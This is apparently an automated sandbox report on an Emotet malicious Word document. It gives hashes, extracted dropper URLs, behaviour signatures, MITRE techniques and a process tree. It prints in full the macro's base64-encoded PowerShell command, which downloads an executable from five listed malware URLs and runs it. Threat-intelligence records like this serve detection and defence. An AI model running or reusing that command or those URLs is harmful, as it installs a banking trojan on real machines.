emotet | 8979a7dda1fa732d2164c2ef2e8bb59471cbed0bf320309720b8c18ce4a5f673

General

Target
emotet_e2_8979a7dda1fa732d2164c2ef2e8bb59471cbed0bf320309720b8c18ce4a5f673_2020-08-11__172117._doc.doc
Size 225KB
Sample200811-dhsbv7clrs
SHA256 8979a7dda1fa732d2164c2ef2e8bb59471cbed0bf320309720b8c18ce4a5f673
MD5 7c443ccd3c1c0193e1fbc49306fedcbc
SHA1 656fcb934a95f5fa0e841d015c8237989f394620
SHA512 d1806c499df0b4b4b004a311712a1f5c5ef885e429093d49592b8867c4bb1ac3bfd62a718786013fe2c6a507f031e5d4003b41b78f4a254749756f2f0abff241
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://autoinsurancej.com/hwuwor/uqe2t_w3_84r/
exe.dropper
https://bestfreepressrelease.net/tmp/r_n_7ey/
exe.dropper
https://likipki.com/tmp/x964z_wo_88byc4/
exe.dropper
https://adwords-and-adsense.com/tmp/ilkc_resch_6/
exe.dropper
http://lt-pet.com/wp-admin/ddkuk_voa4m_htoppsi/

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3828	1164	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3948-12-0x00000000005C0000-0x00000000005CC000-memory.dmp	emotet
behavioral2/memory/3948-12-0x00000000005C0000-0x00000000005CC000-memory.dmp	emotet
behavioral2/memory/496-16-0x0000000000580000-0x000000000058C000-memory.dmp	emotet
behavioral2/memory/496-16-0x0000000000580000-0x000000000058C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
22	3828	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3948	995.exe
496	AudioEng.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDYAK\AudioEng.exe	995.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
508	WINWORD.EXE
508	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3828	powersheLL.exe
3828	powersheLL.exe
3828	powersheLL.exe
496	AudioEng.exe
496	AudioEng.exe
496	AudioEng.exe
496	AudioEng.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3828	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
508	WINWORD.EXE
508	WINWORD.EXE
508	WINWORD.EXE
508	WINWORD.EXE
508	WINWORD.EXE
508	WINWORD.EXE
508	WINWORD.EXE
508	WINWORD.EXE
508	WINWORD.EXE
3948	995.exe
3948	995.exe
496	AudioEng.exe
496	AudioEng.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3948 wrote to memory of 496	3948	995.exe	78
PID 3948 wrote to memory of 496	3948	995.exe	78
PID 3948 wrote to memory of 496	3948	995.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_8979a7dda1fa732d2164c2ef2e8bb59471cbed0bf320309720b8c18ce4a5f673_2020-08-11__172117._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:508

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABZAE0ASABSAFoAbgB2AHIAPQAnAFIAWABHAEQAWQB0AGEAZQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBjAGAAVQByAEkAYABUAHkAUABgAFIATwBUAG8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABMAEIAWQBLAFAAeAB1AHQAIAA9ACAAJwA5ADkANQAnADsAJABIAEwAWABNAFkAcAB4AGEAPQAnAFoAQgBNAEIASwB0AG4AdAAnADsAJABGAEkAVgBSAFIAdwB5AGoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEwAQgBZAEsAUAB4AHUAdAArACcALgBlAHgAZQAnADsAJABOAEoASQBWAFoAawBoAGwAPQAnAEgARABFAEoATAB4AHkAbAAnADsAJABUAEsAQwBLAFkAegBrAGkAPQAuACgAJwBuACcAKwAnAGUAdwAtACcAKwAnAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AdwBlAEIAYwBsAGkARQBOAFQAOwAkAFoAQwBUAEwASAB4AGkAYgA9ACcAaAB0AHQAcABzADoALwAvAGEAdQB0AG8AaQBuAHMAdQByAGEAbgBjAGUAagAuAGMAbwBtAC8AaAB3AHUAdwBvAHIALwB1AHEAZQAyAHQAXwB3ADMAXwA4ADQAcgAvACoAaAB0AHQAcABzADoALwAvAGIAZQBzAHQAZgByAGUAZQBwAHIAZQBzAHMAcgBlAGwAZQBhAHMAZQAuAG4AZQB0AC8AdABtAHAALwByAF8AbgBfADcAZQB5AC8AKgBoAHQAdABwAHMAOgAvAC8AbABpAGsAaQBwAGsAaQAuAGMAbwBtAC8AdABtAHAALwB4ADkANgA0AHoAXwB3AG8AXwA4ADgAYgB5AGMANAAvACoAaAB0AHQAcABzADoALwAvAGEAZAB3AG8AcgBkAHMALQBhAG4AZAAtAGEAZABzAGUAbgBzAGUALgBjAG8AbQAvAHQAbQBwAC8AaQBsAGsAYwBfAHIAZQBzAGMAaABfADYALwAqAGgAdAB0AHAAOgAvAC8AbAB0AC0AcABlAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGQAZABrAHUAawBfAHYAbwBhADQAbQBfAGgAdABvAHAAcABzAGkALwAnAC4AIgBzAHAATABgAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIAWgBKAEMAQwBuAGUAcwA9ACcARgBXAFYASwBMAGEAagByACcAOwBmAG8AcgBlAGEAYwBoACgAJABKAFIASwBWAEQAeQBtAGYAIABpAG4AIAAkAFoAQwBUAEwASAB4AGkAYgApAHsAdAByAHkAewAkAFQASwBDAEsAWQB6AGsAaQAuACIAZABgAG8AdwBgAE4ATABvAGEAZABGAGAASQBsAGUAIgAoACQASgBSAEsAVgBEAHkAbQBmACwAIAAkAEYASQBWAFIAUgB3AHkAagApADsAJABPAE0ATQBOAEYAbQBtAHAAPQAnAE0AUQBRAE8AQwB6AHoAbQAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAEYASQBWAFIAUgB3AHkAagApAC4AIgBMAGUATgBgAEcAVABIACIAIAAtAGcAZQAgADMANAA3ADYANQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAGAARQBhAFQAZQAiACgAJABGAEkAVgBSAFIAdwB5AGoAKQA7ACQATABHAFUAUgBHAHoAYgBwAD0AJwBYAFIARABBAFQAaABrAHoAJwA7AGIAcgBlAGEAawA7ACQATgBVAFcAUABNAHEAcgBjAD0AJwBRAFQAVgBLAFoAaABhAGYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVABVAEYATwBEAHcAZwBzAD0AJwBKAFAAVwBIAFMAYQB0AHkAJwA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3828

C:\Users\Admin\995.exe
C:\Users\Admin\995.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3948
- C:\Windows\SysWOW64\KBDYAK\AudioEng.exe
  "C:\Windows\SysWOW64\KBDYAK\AudioEng.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:496

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/496-15-0x00000000005BB000-0x00000000005BD000-memory.dmp

Download

memory/496-16-0x0000000000580000-0x000000000058C000-memory.dmp

Download

memory/508-0-0x00007FFE41510000-0x00007FFE41BD6000-memory.dmp

Download

memory/3828-6-0x00007FFE34050000-0x00007FFE34A3C000-memory.dmp

Download

memory/3828-7-0x0000016DA2030000-0x0000016DA2031000-memory.dmp

Download

memory/3828-8-0x0000016DA21E0000-0x0000016DA21E1000-memory.dmp

Download

memory/3948-11-0x00000000005FC000-0x00000000005FD000-memory.dmp

Download

memory/3948-12-0x00000000005C0000-0x00000000005CC000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads